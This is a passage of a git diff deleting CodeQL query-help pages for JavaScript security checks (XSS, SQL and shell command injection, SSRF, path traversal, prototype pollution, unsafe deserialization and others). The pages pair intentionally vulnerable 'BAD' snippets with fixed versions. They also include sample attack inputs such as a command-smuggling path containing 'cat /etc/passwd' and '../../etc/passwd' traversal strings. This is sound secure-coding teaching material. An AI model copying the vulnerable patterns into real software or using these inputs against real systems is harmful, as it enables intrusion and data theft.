the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - if (!isValidUserId(req.params.id)) - // BAD: a request parameter is incorporated without validation into the response - res.send("Unknown user: " + req.params.id); - else - // TODO: do something exciting - ; -}); - -``` -Sanitizing the user-controlled data prevents the vulnerability: - - -```javascript -var escape = require('escape-html'); - -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - if (!isValidUserId(req.params.id)) - // GOOD: request parameter is sanitized before incorporating it into the response - res.send("Unknown user: " + escape(req.params.id)); - else - // TODO: do something exciting - ; -}); - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RegExpInjection.md b/docs/language/query-help/javascript/RegExpInjection.md deleted file mode 100644 index 6502cd2257f..00000000000 --- a/docs/language/query-help/javascript/RegExpInjection.md +++ /dev/null @@ -1,59 +0,0 @@ -# Regular expression injection - -``` -ID: js/regex-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-730/RegExpInjection.ql) - -Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. - - -## Recommendation -Before embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning. - - -## Example -The following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first: - - -```javascript -var express = require('express'); -var app = express(); - -app.get('/findKey', function(req, res) { - var key = req.param("key"), input = req.param("input"); - - // BAD: Unsanitized user input is used to construct a regular expression - var re = new RegExp("\\b" + key + "=(.*)\n"); -}); - -``` -Instead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions. - - -```javascript -var express = require('express'); -var _ = require('lodash'); -var app = express(); - -app.get('/findKey', function(req, res) { - var key = req.param("key"), input = req.param("input"); - - // GOOD: User input is sanitized before constructing the regex - var safeKey = _.escapeRegExp(key); - var re = new RegExp("\\b" + safeKey + "=(.*)\n"); -}); - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* npm: [lodash](https://www.npmjs.com/package/lodash). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RemotePropertyInjection.md b/docs/language/query-help/javascript/RemotePropertyInjection.md deleted file mode 100644 index b5d9250263c..00000000000 --- a/docs/language/query-help/javascript/RemotePropertyInjection.md +++ /dev/null @@ -1,61 +0,0 @@ -# Remote property injection - -``` -ID: js/remote-property-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-250 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql) - -Dynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised. - -Moreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`. - - -## Recommendation -The most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character. - -When using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`. - - -## Example -In the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value. - - -```javascript -var express = require('express'); - -var app = express(); -var myObj = {} - -app.get('/user/:id', function(req, res) { - var prop = req.query.userControlled; // BAD - myObj[prop] = function() {}; - console.log("Request object " + myObj); -}); -``` -This is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as "Function.prototype.toString is not generic". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten. - - -```javascript -var express = require('express'); - -var app = express(); -var myObj = {} - -app.get('/user/:id', function(req, res) { - var prop = "$" + req.query.userControlled; // GOOD - myObj[prop] = function() {}; - console.log("Request object " + myObj); -}); -``` - -## References -* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://nodesecurity.io/advisories/566). -* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67) -* npm blog post: [ dangers of square bracket notation](https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security) -* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RequestForgery.md b/docs/language/query-help/javascript/RequestForgery.md deleted file mode 100644 index 55aea9a91fc..00000000000 --- a/docs/language/query-help/javascript/RequestForgery.md +++ /dev/null @@ -1,69 +0,0 @@ -# Uncontrolled data used in network request - -``` -ID: js/request-forgery -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-918 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-918/RequestForgery.ql) - -Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. - - -## Recommendation -To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. - -A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. - - -```javascript -import http from 'http'; -import url from 'url'; - -var server = http.createServer(function(req, res) { - var target = url.parse(req.url, true).query.target; - - // BAD: `target` is controlled by the attacker - http.get('https://' + target + ".example.com/data/", res => { - // process request response ... - }); - -}); - -``` -One way to remedy the problem is to use the user input to select a known fixed string before performing the request: - - -```javascript -import http from 'http'; -import url from 'url'; - -var server = http.createServer(function(req, res) { - var target = url.parse(req.url, true).query.target; - - var subdomain; - if (target === 'EU') { - subdomain = "europe" - } else { - subdomain = "world" - } - - // GOOD: `subdomain` is controlled by the server - http.get('https://' + subdomain + ".example.com/data/", res => { - // process request response ... - }); - -}); - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ServerSideUrlRedirect.md b/docs/language/query-help/javascript/ServerSideUrlRedirect.md deleted file mode 100644 index 7721c71c069..00000000000 --- a/docs/language/query-help/javascript/ServerSideUrlRedirect.md +++ /dev/null @@ -1,52 +0,0 @@ -# Server-side URL redirect - -``` -ID: js/server-side-unvalidated-url-redirection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ServerSideUrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```javascript -const app = require("express")(); - -app.get('/some/path', function(req, res) { - // BAD: a request parameter is incorporated without validation into a URL redirect - res.redirect(req.param("target")); -}); - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```javascript -const app = require("express")(); - -const VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - -app.get('/some/path', function(req, res) { - // GOOD: the request parameter is validated against a known fixed string - let target = req.param("target"); - if (VALID_REDIRECT === target) - res.redirect(target); -}); - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md deleted file mode 100644 index 6dc8108c32f..00000000000 --- a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md +++ /dev/null @@ -1,58 +0,0 @@ -# Shell command built from environment values - -``` -ID: js/shell-command-injection-from-environment -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/ShellCommandInjectionFromEnvironment.ql) - -Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. - - -## Recommendation -If possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell. - -Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly. - - -## Example -The following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts. - - -```javascript -var cp = require("child_process"), - path = require("path"); -function cleanupTemp() { - let cmd = "rm -rf " + path.join(__dirname, "temp"); - cp.execSync(cmd); // BAD -} - -``` -The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. - -For instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process. - -Even worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`. - -To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell: - - -```javascript -var cp = require("child_process"), - path = require("path"); -function cleanupTemp() { - let cmd = "rm", - args = ["-rf", path.join(__dirname, "temp")]; - cp.execFileSync(cmd, args); // GOOD -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/SqlInjection.md b/docs/language/query-help/javascript/SqlInjection.md deleted file mode 100644 index b67f59b1667..00000000000 --- a/docs/language/query-help/javascript/SqlInjection.md +++ /dev/null @@ -1,57 +0,0 @@ -# Database query built from user-controlled sources - -``` -ID: js/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. - - -## Example -In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object. - -The handler constructs two copies of the same SQL query involving user input taken from the request object, once unsafely using string concatenation, and once safely using query parameters. - -In the first case, the query string `query1` is built by directly concatenating a user-supplied request parameter with some string literals. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. - -In the second case, the parameter is embedded into the query string `query2` using query parameters. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks. - - -```javascript -const app = require("express")(), - pg = require("pg"), - pool = new pg.Pool(config); - -app.get("search", function handler(req, res) { - // BAD: the category might have SQL special characters in it - var query1 = - "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + - req.params.category + - "' ORDER BY PRICE"; - pool.query(query1, [], function(err, results) { - // process results - }); - - // GOOD: use parameters - var query2 = - "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1" + " ORDER BY PRICE"; - pool.query(query2, [req.params.category], function(err, results) { - // process results - }); -}); - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StackTraceExposure.md b/docs/language/query-help/javascript/StackTraceExposure.md deleted file mode 100644 index f83a6458ed3..00000000000 --- a/docs/language/query-help/javascript/StackTraceExposure.md +++ /dev/null @@ -1,75 +0,0 @@ -# Information exposure through a stack trace - -``` -ID: js/stack-trace-exposure -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-209 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. - - -```javascript -var http = require('http'); - -http.createServer(function onRequest(req, res) { - var body; - try { - body = handleRequest(req); - } - catch (err) { - res.statusCode = 500; - res.setHeader("Content-Type", "text/plain"); - res.end(err.stack); // NOT OK - return; - } - res.statusCode = 200; - res.setHeader("Content-Type", "application/json"); - res.setHeader("Content-Length", body.length); - res.end(body); -}).listen(3000); - -``` -Instead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information: - - -```javascript -var http = require('http'); - -http.createServer(function onRequest(req, res) { - var body; - try { - body = handleRequest(req); - } - catch (err) { - res.statusCode = 500; - res.setHeader("Content-Type", "text/plain"); - log("Exception occurred", err.stack); - res.end("An exception occurred"); // OK - return; - } - res.statusCode = 200; - res.setHeader("Content-Type", "application/json"); - res.setHeader("Content-Length", body.length); - res.end(body); -}).listen(3000); - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StoredXss.md b/docs/language/query-help/javascript/StoredXss.md deleted file mode 100644 index c4275e1e960..00000000000 --- a/docs/language/query-help/javascript/StoredXss.md +++ /dev/null @@ -1,70 +0,0 @@ -# Stored cross-site scripting - -``` -ID: js/stored-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/StoredXss.ql) - -Directly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk. - - -```javascript -var express = require('express'), - fs = require('fs'); - -express().get('/list-directory', function(req, res) { - fs.readdir('/public', function (error, fileNames) { - var list = '
      '; - fileNames.forEach(fileName => { - // BAD: `fileName` can contain HTML elements - list += '
    • ' + fileName + '
    • '; - }); - list += '
    ' - res.send(list); - }); -}); - -``` -Sanitizing the file names prevents the vulnerability: - - -```javascript -var express = require('express'), - fs = require('fs'), - escape = require('escape-html'); - -express().get('/list-directory', function(req, res) { - fs.readdir('/public', function (error, fileNames) { - var list = '
      '; - fileNames.forEach(fileName => { - // GOOD: escaped `fileName` can not contain HTML elements - list += '
    • ' + escape(fileName) + '
    • '; - }); - list += '
    ' - res.send(list); - }); -}); - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedFormatString.md b/docs/language/query-help/javascript/TaintedFormatString.md deleted file mode 100644 index 1f0b84076d9..00000000000 --- a/docs/language/query-help/javascript/TaintedFormatString.md +++ /dev/null @@ -1,52 +0,0 @@ -# Use of externally-controlled format string - -``` -ID: js/tainted-format-string -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-134/TaintedFormatString.ql) - -Functions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output. - - -## Recommendation -Either sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument. - - -## Example -The following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message: - - -```javascript -const app = require("express")(); - -app.get("unauthorized", function handler(req, res) { - let user = req.query.user; - let ip = req.connection.remoteAddress; - console.log("Unauthorized access attempt by " + user, ip); -}); - -``` -However, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read "Unauthorized access attempt by NaN", missing all the information that it was trying to log in the first place. - -Instead, the user name should be included using the `%s` specifier: - - -```javascript -const app = require("express")(); - -app.get("unauthorized", function handler(req, res) { - let user = req.query.user; - let ip = req.connection.remoteAddress; - console.log("Unauthorized access attempt by %s", user, ip); -}); - -``` - -## References -* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedPath.md b/docs/language/query-help/javascript/TaintedPath.md deleted file mode 100644 index ccd80f80179..00000000000 --- a/docs/language/query-help/javascript/TaintedPath.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: js/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/TaintedPath.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library like the `sanitize-filename` npm package, or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use a whitelist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as `"/etc/passwd"`. - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at `"/home/user/../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```javascript -var fs = require('fs'), - http = require('http'), - url = require('url'); - -var server = http.createServer(function(req, res) { - let path = url.parse(req.url, true).query.path; - - // BAD: This could read any file on the file system - res.write(fs.readFileSync(path)); - - // BAD: This could still read any file on the file system - res.write(fs.readFileSync("/home/user/" + path)); -}); - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package. -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TargetBlank.md b/docs/language/query-help/javascript/TargetBlank.md deleted file mode 100644 index d1281265835..00000000000 --- a/docs/language/query-help/javascript/TargetBlank.md +++ /dev/null @@ -1,40 +0,0 @@ -# Potentially unsafe external link - -``` -ID: js/unsafe-external-link -Kind: problem -Severity: warning -Precision: very-high -Tags: maintainability security external/cwe/cwe-200 external/cwe/cwe-1022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/DOM/TargetBlank.ql) - -HTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk. - - -## Recommendation -Specify the link type by adding an attribute `rel="noopener noreferrer"`. - - -## Example -In the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page. - - -```javascript -var link = Example; - -``` -To fix this vulnerability, add a `rel` attribute: - - -```javascript -var link = Example; - -``` - -## References -* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/). -* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a). -* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). -* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md deleted file mode 100644 index f3292bcd5a9..00000000000 --- a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md +++ /dev/null @@ -1,72 +0,0 @@ -# Type confusion through parameter tampering - -``` -ID: js/type-confusion-through-parameter-tampering -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-843 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql) - -Sanitizing untrusted HTTP request parameters is an important technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings. - -However, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently. - - -## Recommendation -Check the runtime type of sanitizer inputs if the input type is user-controlled. - - -## Example -For example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead. - -In the following example, a sanitizer checks that a path does not contain the `".."` string, which would allow an attacker to access content outside a user-accessible directory. - - -```javascript -var app = require("express")(), - path = require("path"); - -app.get("/user-files", function(req, res) { - var file = req.param("file"); - if (file.indexOf("..") !== -1) { - // BAD - // forbid paths outside the /public directory - res.status(400).send("Bad request"); - } else { - var absolute = path.resolve("/public/" + file); - console.log("Sending file: %s", absolute); - res.sendFile(absolute); - } -}); - -``` -As written, this sanitizer is ineffective: an array like `["../", "/../secret.txt"]` will bypass the sanitizer. The array does not contain `".."` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `"/secret.txt"`. This happens since the concatenation of `"/public/"` and the array results in `"/public/../,/../secret.txt"`, which the `resolve`-call converts to `"/secret.txt"`. - -To fix the sanitizer, check that the request parameter is a string, and not an array: - - -```javascript -var app = require("express")(), - path = require("path"); - -app.get("/user-files", function(req, res) { - var file = req.param("file"); - if (typeof path !== 'string' || file.indexOf("..") !== -1) { - // BAD - // forbid paths outside the /public directory - res.status(400).send("Bad request"); - } else { - var absolute = path.resolve("/public/" + file); - console.log("Sending file: %s", absolute); - res.sendFile(absolute); - } -}); - -``` - -## References -* Node.js API: [querystring](https://nodejs.org/api/querystring.html). -* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDeserialization.md b/docs/language/query-help/javascript/UnsafeDeserialization.md deleted file mode 100644 index 6e5a5f28aae..00000000000 --- a/docs/language/query-help/javascript/UnsafeDeserialization.md +++ /dev/null @@ -1,52 +0,0 @@ -# Deserialization of user-controlled data - -``` -ID: js/unsafe-deserialization -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions. - - -## Example -The following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe. - - -```javascript -const app = require("express")(), - jsyaml = require("js-yaml"); - -app.get("load", function(req, res) { - let data = jsyaml.load(req.params.data); - // ... -}); - -``` -Using the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability. - - -```javascript -const app = require("express")(), - jsyaml = require("js-yaml"); - -app.get("load", function(req, res) { - let data = jsyaml.safeLoad(req.params.data); - // ... -}); - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md 